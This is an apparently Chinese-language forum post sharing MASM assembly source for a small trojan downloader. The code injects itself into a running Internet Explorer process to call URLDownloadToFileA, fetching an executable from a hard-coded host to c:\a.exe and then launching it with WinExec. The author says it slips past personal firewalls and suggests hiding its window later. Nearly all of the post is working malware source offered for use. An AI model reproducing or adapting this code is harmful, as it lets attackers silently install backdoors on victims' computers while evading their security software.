- A+
大家可能都用过网页木马来下真正的EXE木马吧,但是有些时候
后门比较大下载的时候常常是网页暂停或是报错(CHM木马常遇到)
所以写了这个程序。。。。
程序还要改下才好用哈,不过只有2kb很小了。。。。
编绎参数:
C:\masm32\BIN>type ii.bat
ml /c /coff i.asm
link /subsystem:windows i.obj
刚才测试了一下可以逃过天网的应用程序防问网络限制金山网镖也肯定没问题。
; #--------------------------------------# #
; # Injection downloadcode in IE --> # #
; # -->also it can jump personal fire wall # #
; # 2004.07.15 #
; # codz: czy # #
; #------------------------------------------# #
;test on win2k server sp4 masm8
.386
.model flat,stdcall
option casemap:none
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/windows.inc
.data
hello db ’2K下建远程线程’,0
tit db ’IEFrame’,0
szFormat db ’PID是:%d’,0
szBuffer dd 20 dup(0),0
pid dd 0
hProcess dd 0
hThread dd 0
pCodeRemote dd 0
path1 db ’c:\a.EXE’,0
.const
szmsg db ’URLDownloadToFileA’,0
userdll db ’Urlmon.dll’,0
;szmsg db ’MessageBoxA’,0
;userdll db ’User32.dll’,0
szloadlib db ’LoadLibraryA’,0 ;注意和LoadLibraryW的区别哟
kerdll db ’kernel32.dll’,0
.code
codebegin:
dispdata db "http://192.168.0.5/NBTreeList.exe",0
szTit db "c:\a.exe",0
datalen =$-codebegin
Rproc proc msgbox ;MessageBoxA的地址为参数
CALL @F ;push esi
@@:
POP EBX
SUB EBX,OFFSET @B
LEA ECX,[EBX dispdata]
LEA EDX,[EBX szTit]
push NULL
push 0
push edx
push ecx
push NULL
call msgbox
ret ;重要
Rproc endp
codelen =$-codebegin ;代码长度xx字节
start:
;invoke FindWindow,0,offset tit ;返回计算器窗口句柄
invoke FindWindow,offset tit,0
invoke GetWindowThreadProcessId,eax,offset pid ;计算机器程序的进程PID号
;invoke wsprintf,offset szBuffer,offset szFormat,pid ;把PID用十进制显示
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,pid ;打开进程,得到进程句柄
mov hProcess,eax ;保存进程句柄
invoke VirtualAllocEx,hProcess,0, codelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE
mov pCodeRemote,eax
invoke WriteProcessMemory,hProcess,pCodeRemote,offset codebegin,codelen,NULL
mov esi,pCodeRemote
add esi,datalen
push esi
invoke LoadLibrary,offset userdll
invoke GetProcAddress,eax,offset szmsg
pop esi
invoke CreateRemoteThread,hProcess,0,0,esi,eax,0,0
mov hThread,eax ; 返回线程句柄
.if hThread
invoke WaitForSingleObject,hThread, INFINITE ;等待线程结束
invoke CloseHandle,hThread ;关闭线程句柄
.endif
invoke VirtualFreeEx,hProcess,pCodeRemote,codelen,MEM_RELEASE ;释放空间
invoke CloseHandle,hProcess ;关闭进程句柄
invoke WinExec,offset path1,SW_SHOW ;以正常方式执行下载的木马。。到时候改一下就没窗口了。。
;invoke MessageBoxA,0,offset szBuffer,offset szBuffer,1
invoke ExitProcess,0
end start